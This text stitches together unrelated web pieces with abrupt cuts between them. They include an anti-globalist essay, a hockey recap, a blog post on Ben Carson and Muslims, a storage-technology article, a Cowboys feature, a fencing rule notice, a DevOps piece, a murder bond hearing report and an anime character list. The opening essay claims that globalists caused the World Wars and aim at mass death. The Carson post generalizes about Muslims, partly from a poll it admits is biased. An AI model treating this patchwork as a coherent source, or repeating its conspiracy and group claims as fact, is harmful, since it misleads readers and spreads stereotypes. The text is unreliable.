Cultures erect borders because, frankly, people have the right to vet those who wish to join and participate in their endeavors. People also have a right to discriminate against anyone who does not share their core values; or, in other words, we have the right to refuse association with other groups and ideologies that are destructive to our own.
Interestingly, globalists and their mouthpieces will argue that by refusing to associate with those who might undermine our values, it is WE who are violating THEIR rights. See how that works?
Globalists exploit the word “isolationism” to shame sovereignty champions in the eyes of the public, but there is no shame in isolation when such principles as freedom of speech and expression or the right to self defense are on the line. There is also nothing wrong with isolating a prosperous economic model from unsuccessful economic models. Forcing a decentralized free market economy to adopt feudal administration through central banking and government will eventually destroy that model. Forcing a free market economy into fiscal interdependencey with socialist economies will also most likely undermine that culture. Just as importing millions of people with differing values to feed on a nation after it has had socialism thrust upon it is a recipe for collapse.
The point is, some values and social structures are mutually exclusive; no matter how hard you try, certain cultures can never be homogenized with other cultures. You can only eliminate one culture to make room for the other in a border-less world. This is what globalists seek to achieve. It is the greater purpose behind open border policies and globalization - to annihilate ideological competition so that humanity thinks it has no other option but the elitist religion. The ultimate end game of globalists is not to control governments (governments are nothing more than a tool). Rather, their end game is to obtain total psychological influence and eventually consent from the masses.
Variety and choice have to be removed from our environment in order for globalism to work, which is a nice way to say that many people will have to die and many principles will have to be erased from the public consciousness. The elites assert that their concept of a single world culture is the pinnacle principle of mankind, and that there is no longer any need for borders because no other principle is superior to theirs. As long as borders as a concept continue to exist there is always the chance of separate and different ideals rising to compete with the globalist philosophy. This is unacceptable to the elites.
This has led not so subtle propaganda meme that cultures that value sovereignty over globalism are somehow seething cauldrons of potential evil. Today, with the rising tide of anti-globalist movements, the argument in the mainstream is that “populists” (conservatives) are of a lower and uneducated class and are a dangerous element set to topple the “peace and prosperity” afforded by globalist hands. In other words, we are treated like children scrawling with our finger paints across a finely crafted Mona Lisa. Once again, Carroll Quigley promotes (or predicts) this propaganda decades in advance when he discusses the need for “working within the system” for change instead of fighting against it:
“For example, I’ve talked about the lower middle class as the backbone of fascism in the future. I think this may happen. The party members of the Nazi Party in Germany were consistently lower middle class. I think that the right-wing movements in this country are pretty generally in this group.” - Carroll Quigley, from Dissent: Do We Need It?
The problem is that these people refuse to confront the fruits of globalization that can be observed so far. Globalists have had free reign over most of the world's governments for at least a century, if not longer. As a consequence of their influences, we have had two World Wars, the Great Depression, the Great Recession which is still ongoing, too many regional conflicts and genocides to count and the systematic oppression of free agent entrepreneurs, inventors and ideas to the point that we are now suffering from social and financial stagnation.
The globalists have long been in power, yet, the existence of borders is blamed for the storm of crises we have endured for the past hundred years? Liberty champions are called “deplorable” populists and fascists while globalists dodge blame like slimy slither |
, you just can’t do it. Then, you look at the players that were on the team at the time and the comparison becomes even more ludicrous. There were high quality players on that defensive line that cannot be compared to college players. Motivating your current players is fine, saying something that doesn’t make any sense is not.
For whatever reason, Greg Schiano still has problems with the Bucs. Well, the team had a problem with him and that is why he was gone so quickly. Get over it and stop making comparisons to your college kids. They make no sense.Box Score
GRAND FORKS, N.D. - A night after a 4-3 victory, the Michigan State hockey team came up just short in its bid to sweep No. 5 North Dakota, playing the Fighting Hawks to a 2-2 tie on Saturday night at Ralph Engelstad Arena in Grand Forks. After a scoreless 5-on-5 overtime, the two teams played a 3-on-3 OT session in accordance with National Collegiate Hockey Conference rules and MSU's Jerad Rosburg scored 58 seconds into the extra frame. The game stands as a tie in the NCAA standings.
Spartan goaltender Ed Minney made 32 saves as the Spartans improved to 4-6-1.
"I thought Ed played really well," MSU head coach Tom Anastos said. "I thought he looked very comfortable in the net and played with a lot of poise."
Michigan State opened the scoring with a shorthanded goal 7:36 into the first period courtesy of hard work by the penalty-killing duo of Joe Cox and Thomas Ebbing.
Ebbing started the play when he forced the puck out of the MSU zone near the blue line on the left side, pushing it ahead to Cox. With a pair of UND defenders chasing Cox, he got off a backhander that UND goaltender Cam Johnson got a shoulder on and turned to the corner. But the rebound went back to Cox who made a nice move and then found Ebbing streaking down the slot where he one-timed the puck home.
The lead lasted just 39 seconds as UND's Zach Yon struck back at the 8:15 mark, beating Minney from the slot with a high shot.
The Fighting Hawks used a power-play goal to take a 2-1 lead with 7:35 to play in the first on a slap shot from the right point by Tucker Poolman.
North Dakota pressed the Spartans early in the second period, but a few consecutive saves by Minney and then a stretch pass that sprung Taro Hirose quickly turned things in the Spartans' favor. Hirose's backhand attempt on a semi-breakaway sailed high, but the puck got caught in a scrum behind the UND net â€" along with the goaltender - and a clearing attempt in front was easily intercepted by Patrick Khodorenko and deposited in the nearly open net to tie the game, 2-2, with 14:19 to play in the frame.
The Spartans' best chance to take the lead in the third period came just past the midway point when Cox stepped into a one-timer from the right circle that Johnson was able to deny.
Despite a 34-19 edge in shots on goal for UND, Anastos was pleased with the Spartans' ability to limit North Dakota's high-quality chances.
"I thought we played well tonight," Anastos said. "I thought in many different regards we played better tonight than last night. We didn't generate the shots we would have liked to, but they're a good defensive team. I thought in spite of the shot differential, a lot of their shots were from the perimeter, so I thought we defended pretty well and didn't give up a lot off the rush. Pretty good effort, overall."
Up next, the Spartans will play their annual exhibition game against the USNTDP U-18 team on Sunday, Dec. 4 at 3 p.m. at Munn.Republican Presidential candidate Dr. Ben Carson has come under heavy fire for his comments that a Muslim should never be trusted with the stewardship of the nation, and is now offering clarification, saying that ‘I think anybody, regardless of their religion [can be President], if they are willing to embrace the values and principles of America and our Constitution and subject their beliefs to the Constitution.’ Of course, the liberal media jumped all over him, accusing him of racism, Islamophobia, bigotry, and misunderstanding what Islam represents.
I agree with Carson completely, but I don’t limit it to Islam. Radical religious beliefs of any kind should never be used to govern a nation, which I think is exactly the point of the First Amendment: Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof. This means the government cannot tell you what religious beliefs you must embrace, and cannot promote one set of religious beliefs over another. It was intended to prevent various sects of Christianity from going to war with one another for control of the government, and to prevent the emergence of a theocracy.
I don’t care what people do in their personal lives. If you want to live according to a fundamental interpretation of the Koran, the Torah, the Old Testament, the Tripitaka, the Bhagavad-Gita, the Alkitab Alaqdas, the Tao-te-Ching, the writings of Ron Hubbard, you go for it. It’s none of my business. It doesn’t affect me.
Until it does.
If you practice a radical, fundamentalist form of any religion and attempt to impose those beliefs on others, you are not fit for the Oval Office, with one very important caveat. The fact that a belief is based in religion, rather than rationality, does not make that belief wrong. The perfect example is abortion. I am deeply opposed to abortion after a fetus evidences neural connections that indicate the presence of a conscious, sentient brain. It’s not a fetus anymore. It’s a human being. Other people are opposed to abortion on religious grounds: they believe life begins at conception, and killing is forbidden by God, therefore abortion is wrong. We both agree on abortion, but for very different reasons. It’s fine for someone to want to legally prohibit abortion based on their deeply held religious beliefs, but they must offer rational, non-religious justifications for doing so.
This is why I cannot support the county clerk who refuses to issue marriage licenses for gay couples. I don’t care what her personal beliefs are, and I do not agree that she should be forced to go against her deeply held beliefs, but in her capacity as a representative of the government she has two choices: carry out the government mandate, or resign. We the people have agreed that gay couples can marry, and if your religion prevents you from carrying out our will, then quit. Keep your beliefs, but find another job. Open a bakery and refuse to bake cakes for gay couples. That is your right, IMO. The market will decide if they want to give you money or not.
Now, the Constitution also states ‘no religious test shall ever be required as a qualification to any office or public trust under the United States’, and the important question here is carried out by whom? The government itself cannot carry out a religious test. The public certainly can, and probing a person’s religious beliefs is fair play for both the media and the public. We have a right to know just how strictly you interpret your primary religious text, should you have one, and some strict religions are downright terrifying!
I originally thought the left’s unwillingness to engage with the violent manifestation of Islam had to do with them being scared witless, but I have a new theory now: the left downplays radical Islam because their own ‘progressive’ ideology is very much akin to a religion, and they would like to impose their beliefs on the rest of us with the same zealotry as radical Islam. To be crystal clear, I do not accuse Islam of being the only religion to engage draconian, medieval versions of their faith: history is rife with religious inspired violence, but it has been several hundred years since widespread religious barbarism has been practiced by any of the dominant world religions, with the exception of Islam.
Critics may howl that Israel is engaged in violent, religious inspired violence at this very moment, but that isn’t true. Israel is nation-building, using bombs and bullets, as many nations have done before them. There is no Jewish mandate, as far as I know (correct me if I’m wrong) that calls for the destruction of other religious groups. They’re not shooting Palestinians because they are Muslims, they are shooting them because Israel wants their land. If the Palestinians up and moved to Jordan, leaving the Gaza strip for Israelis to settle and develop, there would be no bombs or bullets. Until Israel decided it wanted more land. I’m not saying that’s okay, I’m saying there is a difference between killing someone because you hate their faith, as opposed to just straight up theft.
The only religious group that is engaging in widespread religious violence right now is radical Islam. ISIS is openly calling for the establishment of a caliphate. They want to impose Sharia law across the world. They kill people for ‘insulting’ their faith. They burn people alive in cages. They trade Christian women as sex slaves. They slaughter ‘infidels’. They cut off their heads. They blow them up with bombs. They train children in beheading and executing by gunfire at point blank range. There is nothing here to downplay. These people are completely terrifying. There is no other religious group engaging in this kind of terror, although historically, there certainly has been. Christianity came through the dark ages to emerge on the other side, and part of the Enlightenment led to the creation of the United States and the US Constitution. It was partially in response to the insane levels of Christian bloodletting that preceded the Enlightenment. The Constitution is meant to prevent that kind of nightmare from arising again. The Founding Fathers recognized every individual’s profound, inalienable right to determine their religious beliefs for themselves, but it was also created to prevent a religious class from seizing control of the government so they could impose their particular beliefs on everyone else.
Let’s tackle the most common response to the rise of radical, violent Islam: most Muslims are moderates, do not support the most extreme implementations of Sharia and do not wish to impose their views on others. Let’s look at Islam in a global context, first. All data from the PEW Research Council, which is generally pretty reliable.
Percentage of Muslims who favor making Sharia the law of the land:
What kind of Sharia exactly? Here is the percentage of Muslims that support corporal punishment for crimes such as theft, including whipping and amputations:
And here is the data for Muslims who support stoning as a punishment for adultery:
Those that support the death penalty for people converting to another religion:
Big ranges from the Middle East to Eastern Europe, as one would expect. But a significant number of Westernized Muslims are in favor of some of the most barbaric interpretations of Sharia law. The PEW Council does not ask the same questions of American Muslims. As far as I can see, American Muslims are asked only one question related to violence, related to suicide bombings against civilian targets.
More than eight-in-ten American Muslims say suicide bombings and other forms of violence against civilian targets are never justified (81%) or rarely justified (5%) to defend Islam from its enemies. Worldwide, most Muslims also reject this type of violence, with a median of 72% saying such attacks are never justified and 10% saying they are rarely justified. Just 1% of U.S. Muslims and a median of 3% of Muslims worldwide say suicide bombings and other violence against civilian targets are often justified, while 7% of U.S. Muslims and a global median of 8% of Muslims say such attacks are sometimes justified to defend Islam.
Let’s pull those numbers out:
19% of American Muslims think suicide bombings against civilian targets are, or can be justified. That’s nearly one in five.
PEW doesn’t ask American Muslims if they would like to live under Sharia law, but conservative website WND did. Yes, let’s take that with a giant grain of salt – WND has a horse in the race, and is not motivated, in any way, to give a fair and balanced result, but their findings are still interesting. They hired an external company to conduct the survey, and polled 600 American Muslims who planned to vote in the 2012 election.
Nearly half of 600 Muslim-American citizens polled who plan to vote in the 2012 presidential election believe parodies of Muhammad should be prosecuted criminally in the U.S., and one in eight say the offense is so serious violators should face the death penalty. The poll also found 40 percent of Muslims in America believe they should not be judged by U.S. law and the Constitution, but by Sharia standards.
Complete list of questions can be found here.
From an objective, reliable poll, 20% of American Muslims are ‘problematic’, as the left likes to say. A likely more biased poll puts that number at 40%. Either way, it’s true that the majority of American Muslims are moderates, who feel no conflict between their faith and the governing principles of society, which is precisely what the Constitution is intended to achieve. But there is a significant minority who embrace the violent extremism of Islam, and those are the people Carson is concerned about.
When Timothy McVeigh vented his fury at the government over their handling of the disastrous raid in Waco Texas, it’s hard to imagine that 20% of Americans supported him. Lots of Americans were furious at the Waco raid, but not to the point that they condoned or justified McVeigh’s actions, that killed 168 people, including the unforgettable little Baylee Almon.
If a Presidential candidate announced that actions like the Oklahoma Bombing could ‘sometimes be justified’, based on their religious beliefs, would you consider that candidate qualified to lead the country? I sure as hell wouldn’t! And I would want to know he was of that opinion. The government doesn’t need to, and cannot, set a religious test for office, but we can. If 20% of Christians admitted they thought terrorist attacks against civilians, like the Oklahoma Bombing, could be justified, I think we would be asking every Christian candidate to clarify their position. And we would search for evidence that they were being truthful, if they denied it.
But Christians don’t agree with McVeigh. If fact, many of them went out of their way to denounce him and his actions as completely incompatible with Christianity. In 2015, it’s not Christians supporting religious based violence against civilian targets, and it’s not Christians wanting to live under barbaric laws that mete out stoning, whipping and amputation as punishment. It’s Muslims. Not all. Not even most. But a good chunk of them.
That’s worth questioning. And it’s worth questioning why the liberal left media wants to ignore the Muslims who express such desires. You can bet your ass they would never in a million years ignore that, if it were radical Christians wanting to live under Old Testament laws and carrying out bombings against civilians who did not share, or insulted their beliefs.
Left wing, progressives are deeply naïve. They won’t be all that thrilled when facing a public whipping for watching Breaking Bad instead of praying to Mecca. But more worrisome is their apparent admiration for radical Islam’s ability to impose their beliefs so brutally.
Do they long for the same powers?
I think they do.
It will never happen. Carson is absolutely correct: we need to keep all radical, fundamentalist religious adherents out of the Oval Office, including left wing zealots who are practicing what amounts to a religion of their own.
Believe in an America that keeps all fanatics on the fringes, where they belong.
Lots of love,
JB0 0 0 5 0
Liquidity is a term you are more likely to hear on a financial news channel than at a technology trade show. As an investment-related term, liquidity refers the amount of capital available to banks and businesses and to how readily it can be used. Assets that can be converted quickly to cash (preferably with minimal loss in value) in order to meet immediate and short term obligations are considered “liquid.”
When it comes to data storage, liquid storage assets can be viewed as those that can be allocated to virtually any workload at any time without compromising performance, cost-efficiency/manageability, resiliency, or scalability. High liquidity storage supports any workload operating under any OS, hypervisor, or container technology, accessed via any protocol (network file systems, object storage, block network, etc.), without sacrificing data protection, capacity scaling, or performance optimization.
To be honest, the storage industry generally has been reluctant to provide high liquidity storage. Doing so would deliver a measure of storage interoperability and common manageability that flies in the face of zero sum game competition and product marketing. That’s why a truly disruptive storage vendor, the proverbial Uber of the storage industry, needs to embrace such a goal.
Storage architecture has always been driven by market forces. The idea of storage tiering derived from the cost realities confronting storage planners in the 60s and 70s. Cost per GB ratios for early RAMAC disk worked out to over $340,000 per GB, making disk a poor candidate for long term data storage and driving the need to tier data to tape when its access/update frequencies diminished. Later, this same rationale made memory-to-disk tiering a popular stratagem. Today, storage architects mostly build tiering and load balancing into their infrastructure design as a matter of course, whether they understand the economic realities that originally drove the model or not.
While tiering may remain a valid construct in storage architecture, other traditions avail themselves of reconsideration. Many commonly used file systems, for example, are self-destructive. When you save a file, the file’s component bits overwrite the last version of the file in a manner than may obliterate the previous version altogether. So, the use of a self-destructive overwriting file system was an engineering choice that was also made back in the era of RAMAC and in recognition of the cost metrics represented by disk drives (saving many versions of a file would have used expensive space promiscuously). By 2010, the cost per GB to store data on disk had fallen to about $0.16 per GB, but few IT planners considered embracing a versioning file system to replace a self-destructive one.
Lately, deconstructionalism has entered the realm of storage architecture. Consumers have followed the mantra of certain hypervisor vendors down a path of deconstructing legacy monolithic storage infrastructure. Storage arrays have been re-engineered to eliminate proprietary array controllers in favor of more generic storage kit designs that separate value-add software functions from array controllers altogether. That way, presumably, consumers can capture the lower cost of commoditized hardware components while making choices about what software functionality they want to use with infrastructure. Storage software is maintained in a software-defined storage, or SDS, stack that is typically deployed on a commodity server and often under than management auspices of a hypervisor.
This separation of software and hardware is touted as an enabler of greater storage hardware acquisition cost-efficiency (CAPEX) and, possibly (but not guaranteed) of greater management cost-efficiency (OPEX). In short, SDS was supposed to usher in an era of “liquid storage” by applying new designs to storage architecture that better fit the economic realities of storage technology today.
However, the problem with most SDS designs has been that hypervisor vendors were allowed to drive architecture models. The result were implementations of SDS that catered to the proprietary interests of the hypervisor software vendor and to their desire to dominate the marketplace and the data center with a homogeneous architectural model. The SDS revolution was largely coopted by a set of vendors who were as invested in proprietary silos as the legacy hardware vendors they were replacing.
From the outset of the SDS revolution, little attention has been paid to “re-examining first principles.” For example, the decision regarding what functions to include or exclude in an SDS stack was largely left to the hypervisor vendor. For example, why couldn’t the underlying storage in an SDS architecture include storage virtualization or an object storage protocol or a hot/cold scheme for optimizing data placement in flash or disk? Perhaps the ownership of VMware by a large storage array maker, EMC, accounted for some decisions that failed to deviate from legacy storage models.
The resulting storage technology (thus far) deriving from the SDS and hyper-converged infrastructure movements has not improved much on the liquidity of storage. Instead, it has seen storage organized into multiple proprietary stovepipes in shops where multiple hypervisors are used – not terribly different from the organization of storage into proprietary stovepipes that were created by competing legacy hardware vendors a decade ago.
Moreover, SDS stovepipes obfuscate common management and free resource sharing in much the same way as proprietary arrays did in the past, reflecting a lack of common storage resource management. Today, if a VMware administrator has a proprietary VSAN with 80% of its capacity free and a Microsoft Hyper-V administrator has a storage spaces environment with only 20% of its capacity available for use, it is very challenging to simply use the available space in the VSAN with Hyper-V workload. For one thing, the admins generally cannot see each other’s storage at all and have no way to know how much space is available. For another, hypervisors don’t want “alien workload” using “their” software-defined storage infrastructure. These facts have seen overall infrastructure-wide storage utilization efficiency decline over the past five years by approximately 10% on average, even if other metrics suggest that storage efficiency behind a specific hypervisor are showing improvements.
Going forward, given the accelerating rate of data creation, attention needs to be placed squarely on both the cost and the utilization efficiency of storage. Liquidity must be a front-of-mind consideration among planners as they prepare to replace both legacy and first-generation hypervisor-controlled SDS architecture with something that is more dynamic and more manageable.
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No Ratings YetDallas Cowboys quarterback Tony Romo (9) sits dejected as Green Bay Packers defensive end Mike Daniels (76) celebrates after getting a sack as his teammate Green Bay Packers defensive end B.J. Raji (90) congratulates him during the first half of play at AT&T Stadium in Arlington, on December 15, 2013. (Vernon Bryant/The Dallas Morning News)
Two horrible losses to Green Bay told Dallas changes were needed
IRVING — The team standing between the Cowboys and their first NFC Championship Game appearance in almost 19 years helped position them to reach this stage.
A convincing argument can be made that Green Bay became the invisible hand that spurred Dallas’ recent rise, prompting a pair of awakenings within the Cowboys’ franchise after the teams’ last two encounters.
A crushing 45-7 loss to the Packers in November 2010 prodded the Cowboys to fire head coach Wade Phillips immediately and appoint Jason Garrett as his replacement.
More than three years later, a shocking 37-36 defeat to the Packers pushed the Cowboys to change their offensive philosophy and commit to running the football.
Although Cowboys executive vice president Stephen Jones said it’s a bit of a leap to “put too much on any one game,” he acknowledged both setbacks against Green Bay helped shape the organization and make the team what it is today.
There is no doubt that the first loss did. In 2010, the Cowboys appeared rudderless in the final days of Phillips’ regime. After harboring hopes at the outset of the season of playing in Super Bowl XLV in Arlington, the Cowboys lost six of their first seven games and were dealt a devastating blow when quarterback Tony Romo broke his left collarbone in Week 7.
Before the Cowboys faced Green Bay, the Cowboys’ brass worried the players had tuned out Phillips. Dallas had been outscored 114-39 in the 10-plus quarters since Romo’s season-ending injury.
“The direction of the team and how we were playing — we were concerned,” Jones said. “We were having a tough season, and we were not very competitive. We didn’t look like we were responding well to Wade.”
Never was that more obvious on that November night at Lambeau Field. By the midpoint of the third quarter, the Packers led 35-7, and Cowboys cornerback Mike Jenkins sent a disturbing message when he quit on the fifth Green Bay touchdown during a weak attempt at a tackle.
“It was time to make a change,” Jones said.
And the next day the Cowboys did, taking the unprecedented action of removing a head coach during a season.
Garrett, the team’s offensive coordinator, was picked to succeed Phillips. He was an obvious choice because he had been courted by other organizations to coach their teams, and Jones said, “We didn’t have any reservations.”
“An opportunity presented itself, and [Garrett] took it and ran with it,” Cowboys tight end Jason Witten said.
From the outset, Garrett pushed to change the culture and toughen up a team that had grown soft. He also aimed to rebuild the offensive line and construct a roster with the “right kind of guys.”
But the Cowboys couldn’t find a way to the playoffs, and an unbalanced offense seemed their biggest obstacle. That became even more obvious late in their third consecutive 8-8 campaign, when the Cowboys faced the Packers in Week 15. At halftime, Dallas’ eighth victory appeared to be in hand.
The Cowboys had a 26-3 lead against a Green Bay team directed by backup quarterback Matt Flynn.
But something strange happened. Instead of aiming to drain the clock with time-consuming runs, the Cowboys kept throwing the ball. In the final two quarters, Romo attempted 21 passes — three times as many carries as DeMarco Murray had.
The most memorable throw Romo uncorked was an interception that set up Green Bay’s winning score in the fourth quarter of the 37-36 shocker. Romo checked out of a run play before unleashing the ill-fated pass nabbed by Green Bay’s Sam Shields.
The loss reverberated into the offseason.
This year’s slogan for the Cowboys is “Finish the Fight.” Dallas attempted to do that by changing its offensive approach. Under new play-caller Scott Linehan, the Cowboys determined they would lean more on Murray and dial back Romo’s power at the line of scrimmage.
As for audibling, “I wouldn’t say he is doing it as much,” Jones said. “He’s happy with what is called. I think he has bought into the running game more.”
So did Garrett. This season, for the first time since he returned to the organization as a coach, the Cowboys ran the ball more than they passed it.
And no team controlled possession longer than Dallas, which was all part of a grander plan aimed at reducing the exposure of the Cowboys’ defense that was the league’s worst in 2013.
“We needed to do something to help them,” Jones said.
As much as anything, the loss to Green Bay pushed the Cowboys to arrive at that conclusion, and fullback Tyler Clutts said it was easy to see why.
“There were a lot of key components from that game that we needed to change and we couldn’t allow them to carry over to this year,” he said. “It was probably one of the turning points.”
Now, 13 months later, the Packers hope to beat the team they unknowingly led down the path toward Lambeau.Although mask designs have been legal for some time, their popularity started to skyrocket with the introduction of Team USA’s mask with the United States flag on it. Up until recently though, in USA Fencing competitions, the legality of a mask design was left solely to Head Referee at an individual fencing competition. This made it challenging for fencers to know ahead of time if their mask would be allowed. In an effort to help fencers prepare for tournaments, this rule was recently changed. As can be found in the Board of Directors meeting minutes from September 2013 (page 6), the new rule is:
Masks may feature colored designs, on condition that they are approved by the Fencing Officials Commission at least 30 days before being used for the first time in an official USA Fencing competition OR at the discretion of the head referee. Fencers must submit pictures that clearly show the entirety of the design. Accepted designs will be posted on the Fencing Officials Commission website.
The hope is to provide an alternative method of ensuring that mask designs will be legal prior to a tournament. This rule will be incorporated into the next version of the rulebook. Approved designs can be found posted on our website and fencers interested in having their mask designs approved should email pictures of their mask to masks@fencingofficials.org.Once upon a time, developers and coders were sort of viewed as the rock stars of the software world. They designed their code with little regard for the strains it might put on operations, or QA managers for that matter. Their roles were to create good code; Interoperability and defect detection weren't really their concern. This isn't reflective of any particular character traits on the part of developers. Rather, it was the just way things got done.
DevOps culture, however, completely replaced this role-based mentality with an inherently collaborative culture that is more holistic and goal oriented. For larger organizations that have many moving parts, achieving this collaboration from coding to QA test management is especially difficult – but not impossible. Here are three of the key elements of DevOps that enterprises must focus on:
Role restructuring
Large corporations in particular have a well-defined workflow structure with rigid roles, which is contrary to the DevOps mindset. The good news, according to TechTarget contributor John Treadway, is that you do not necessarily have to fire all of your specialists and replace them with experts who have a greater breadth of knowledge. In fact, this would be a mistake, because specialists will always be necessary to answer tougher questions that require more refined expertise.
Rather, Treadway stresses that DevOps is a mindset. While this means restructuring to accommodate it may be necessary, which may even "require hard decisions about team members," the point is to create a culture in which all team members feel accountable for the overall solution, rather than their pigeonholed processes. Experts don't have to acquire an arsenal of new skills to make this happen.
"Organize around business systems, not functional responsibilities," Treadway wrote. "People need to know what systems they are responsible for and not just float from system to system without accountability."
Communication and collaboration between teams
Part of creating a culture of accountability is fostering strong communication between the various teams working on a project in every stage of software development and release. To truly have a clear understanding of a role in development is to also know where it overlaps with the roles of others. This requires significantly more communication than in waterfall methodologies. The same goes for business stakeholders, who historically had a clear idea of what they wanted achieved without having any notion of whether or not it was feasible.
According to DevOps contributor JP Morgenthal, how to adopt DevOps will depend largely upon what a business is trying to accomplish. This is important to understand, because the only way that a process can be created that will yield the desired result is if all the players involved know how their role somehow fulfills the overarching objective. This means knowing where they fit into the model, which is impossible without actually knowing the model. This is where communication between traditionally siloed teams becomes to important.
QA management
The above is especially true for creating a strong test management strategy. Without embedding testers into the workflow, enterprises risk compromising the value of their agile processes once the solution reaches QA.
"If all that work creates bottlenecks in testing, you've accomplished very little," Morgenthal wrote. "Now you must fix the flow to balance out development and testing."
In fact, if test management isn't integrated into the process, then you haven't really succeeded at all in creating an agile, DevOps-driven enterprise. It's therefore important to preemptively address test management as an integral link in the DevOps chain. Start by incorporating agile testing methodologies, which is to say, using a test management tool that supplies testers and developers with real-time visibility into the current status of a solution's quality. Next, automate everything that can be automated. This makes it easier for QA teams to run certain tests more quickly, and more accurately, which is a big benefit to big businesses as they try to become more agile.
Related Articles:Fellow pastors described William Pounds on Tuesday as a man of good character, someone with integrity.
Pounds, who leads Perry’s Kings Chapel Memorial CME Church, is a bi-vocational minister who also works as a senior master sergeant assigned to the 116th Air Control Wing at Robins Air Force Base.
He holds top secret military security clearance and had just passed a renewal investigation by the U.S. Air Force in May, about a month before his fiancee’s June 12 shooting death, said Franklin J. Hogue, a lawyer representing Pounds.
About 70 people packed a Bibb County courtroom Tuesday for a bond hearing for Pounds, who is accused of murder in 46-year-old Kendra Jackson’s death at his townhouse off Macon’s Stinsonville Road.
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Jackson’s death initially was ruled a suicide but was subjected to additional scrutiny after deputies later deemed it suspicious.
Pounds was arrested at the base Aug. 14 and has remained in jail without bond.
Hogue said his client has maintained Jackson’s death was a suicide.
In arguing against bond being set for Pounds, Bibb County prosecutor Jonathan Adams alleged the pastor has been living a “double life.”
In questioning character witnesses whom Pounds’ lawyers called to testify, Adams asked if they were aware that Pounds was engaged to two women at one time.
The witnesses, including a supervisor of area CME church pastors, responded that they weren’t aware of the allegation.
Adams also asked if the witnesses had knowledge of Pounds’ convictions for forgery and obstruction. They said they didn’t.
The supervisor said Pounds would be allowed to return to lead his congregation if he’s released on bond.
CONGREGATION ‘TRULY BELIEVES HE IS INNOCENT’
Adams alleged Pounds has told multiple versions of what happened on the night Jackson died.
Early on, Pounds told deputies the couple had argued about separating before Jackson placed a.40-caliber handgun belonging to Pounds to her head, according to an initial incident report.
Pounds tried to take the gun away but was too late, he told deputies. When authorities arrived, Jackson was lying on her back in a bedroom with a gunshot wound to her head, according to the report.
Adams said Pounds told authorities he only heard one gunshot, but holes were found in the wall and a mattress. A crime lab technician reported finding signs that someone tried to remove a bullet from the wall.
Pounds also said he wasn’t wearing certain clothing, but “high velocity blood spatter” was found on the clothes, Adams said.
He has said the incident occurred upstairs, but he also said the argument occurred downstairs and that Jackson ran upstairs before he could get to her, Adams said.
Pounds has said he tried to perform CPR on Jackson, but emergency personnel have said someone trained in CPR wouldn’t have tried to resuscitate Jackson based on her injuries and because she appeared to have been dead “quite some time,” Adams said.
Training in CPR and teaching the skill to 257 churches in Georgia and Haiti were included in a list of Pounds’ accomplishments that Hogue conveyed as evidence supporting his argument for bond.
A Macon native, Pounds graduated from Central High School and later obtained a college degree. He completed a master’s degree in divinity last year, Hogue said.
Pounds has been in the Air Force for 29 years and saw combat while deployed to Iraq during Operation Desert Storm, Hogue said.
Active in church and his college fraternity, Pounds has made strides to help his community through programs for underprivileged youth, young men and others, Hogue said.
About 55 of the people attending Tuesday’s hearing were there to support Pounds.
Hogue argued Pounds has strong community ties and isn’t a significant flight risk, a danger to others or someone who will intimidate witnesses or obstruct justice.
Adams said Pounds’ military background has given him training to “operate in austere, difficult and dangerous environments” and “escape and evade law enforcement efforts to bring him” to court.
The group gathered supporting Pounds in the courtroom Tuesday also is evidence that “he’s got the support in the community that would allow him to have the ability to move about the state if not further,” Adams said.
Jackson’s sister, Rashida Brown, testified that her family is concerned Pounds may not return to court if he’s given a bond.
“Our concern is that he does have more influence in the community than the typical citizen,” she said.
The hearing ended without the judge announcing a decision.
A group of 47 church and family members gathered at the Bibb County jail last week for the hearing that was postponed until Tuesday because of the crowd.
Pounds’ sister, Jamie Thomas, said her brother’s congregation, of which she’s a member, “truly believes he is innocent.”
She described Pounds, the youngest of four siblings, as a “great father” to his six children. He’s been a minister for 13 years, two of them at King’s Chapel.
Information from Telegraph archives was used in this report. To contact writer Amy Leigh Womack, call 744-4398 or find her on Twitter@awomackmacon.A Ph.D. in management prepares the student to teach in a university or to conduct research in his chosen area of specialization. Although there are traditional topics within this Ph.D. program, such as marketing and accounting, new technologies and global issues put a contemporary spin on them. New areas, including e-commerce and sustainable management practices, expand the range of topics available at universities.
Operations Management
Topics within operations management include exploring models for natural resources or for nonprofit organizations. Productivity and time flow, logistics management, inventory management and location theory and revenue management are all elements of this larger topic.
Information Management
A relevant and hot topic today is electronic commerce. In studying this, students look at both the business and technical issues of the subject. Areas within this topic include security and regulatory issues of electronic merchandising and payment, global implications of e-commerce, new models of business-to-consumer and business-to-business transactions and marketing within the e-commerce world.
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Management and Organizations
Within this topic, students study the sociology and psychology of the behavior of individuals, groups and organizations and the environment in which these interactions occur. Social processes are at the heart of this topic. Students usually conduct both qualitative and quantitative research.
Accounting Management and Information
This topic involves rigorous and in-depth study of statistics and economics. Focusing on accounting research, econometrics, finance, economic theory or mathematics courses provides a basic for further exploration of the subject. The research within this topic is quantitative and statistical.
System Dynamics
The topic of system dynamics analyzes the behavior of systems, to understand and influence how things change over |
the clones of Amanushi.
Nobuseri ( 野伏せり ) The Nobuseri, or bandits, are former samurai who have converted their bodies into large fighting machines during the previous war. Because they were bought out by the emperor, they rob farming villages of their rice, and occasionally women and children for the capital. Ukyo later orders the court physician to remove the bandits' souls, so they will be nothing more than mindless machines, accepting orders only from the emperor.
Tanomo Voiced by: Naoki Makishima (Japanese); Scott McNeil (English)
Other characters [ edit ]
Masamune Voiced by: Tomomichi Nishimura (Japanese); Brice Armstrong (English) Masamune is Kikuchiyo's mechanic and veteran of the Great War. As the series progresses, he befriends Kambei and the other samurai while they stayed in Kogakyo. He was the one who helped them escape Kogakyo in episode 6 of the show (Although he was tied up by Kambei and "roughened up" by Kikuchiyo as a ploy to trick the attendants into believing that Masamune was taken hostage rather than willingly aiding the samurai).
Yukino ( ユキノ ) Voiced by: Rieko Takahashi (Japanese); Gwendolyn Lau (English) Yukino is Shichiroji's lover and the woman who saved his life when Shichiroji's escape pod washed ashore on the river underneath the Firefly House. Indebted to Yukino, Shichiroji helps her run the Firefly House and claims that he had abandoned the samurai life. However, it is one of Yukino's fears that the old samurai hasn't quite forgotten fighting. When Shichiroji joins Kambei and the others on their journey to Kanna Village, Yukino waits for him, expecting him to return with "a mountain of treasure" as in the old tale of "Peach Boy" with which they tease Shichiroji with. As the series progresses, Yukino seems to be very sisterly towards Kirara and is aware of Kirara's hidden love for Kambei.
